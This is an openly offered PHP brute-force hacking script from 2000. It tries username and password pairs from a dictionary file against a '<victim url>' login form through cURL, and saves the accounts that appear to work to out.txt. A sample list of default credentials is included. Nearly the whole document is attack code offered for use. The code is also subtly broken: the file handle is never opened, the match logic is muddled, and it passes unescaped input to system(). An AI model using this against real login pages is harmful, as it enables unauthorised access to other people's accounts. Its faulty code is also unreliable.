PHP_SSL_Brute – PHP BruteForce Hacking Script.

<?
//php-ssl-hack.php(1)

/*		PHP_SSL_Brute - PHP BruteForce Hacking Script.
 *		
 *      This is free software. You can redistribute it and/or modify under
 *      the terms of the GNU General Public License version 2.
 *
 *      Copyright (C) 2000 By Dejchai Srihakim , [email protected]
 *		
 *		DISCLAIMER
 *		----------
 *		Authors are not responsible of any damages this software can cause.
 *
 *		READ FIRST
 *		----------
 *		Please make sure you KNOW what you are doing before using PHP_SSL_Brute.
 *		It is recommended that you should test how it behaves on some test
 *		connections and then use it wisely.
 *
 *		INSTALLATION
 *		----------
 *		-You need cURL Lib Compile With PHP (http://curl.haxx.se/download.html).
 *		-"dic_file.txt"	,Dic file. 
 *		-"out.txt" 		,Hacked Account and Password. 
 *
 */


		$account="dic_file.txt";
		$row=1;
	
	while($data=fgetcsv($fp,3000,":")){
	
		$num = count($data);
		$login=$data[0];
		$password=$data[1];

	include "curl_hack.inc";
		$row++;
}
	
	fclose($fp);

?>

<?
//curl_hack.inc (2)

		$ch = curl_init();
	curl_setopt($ch,CURLOPT_URL,"http://<victim url>");
	curl_setopt ($ch, CURLOPT_POST, 1);
	curl_setopt ($ch,CURLOPT_POSTFIELDS,"username=$login&userpass=$password"); 
 /* 
		Name of text box in the fields of user and password , you can easily to find in .html source file from web browser.
 */

	curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
		$result=curl_exec($ch);
	curl_close ($ch);

	if(preg_match("/<page parameter></page>/", "$result" )){}
	if(preg_match("/Welcome/", "$result" )){} // You can put more than one checking parameter //
	else{
	system("echo "$login-$password" >> out.txt ");
}

?>

dic_file.txt(3)
===Cut Here===
big:big
paul:paul
root:root
test:test
===Cut Here===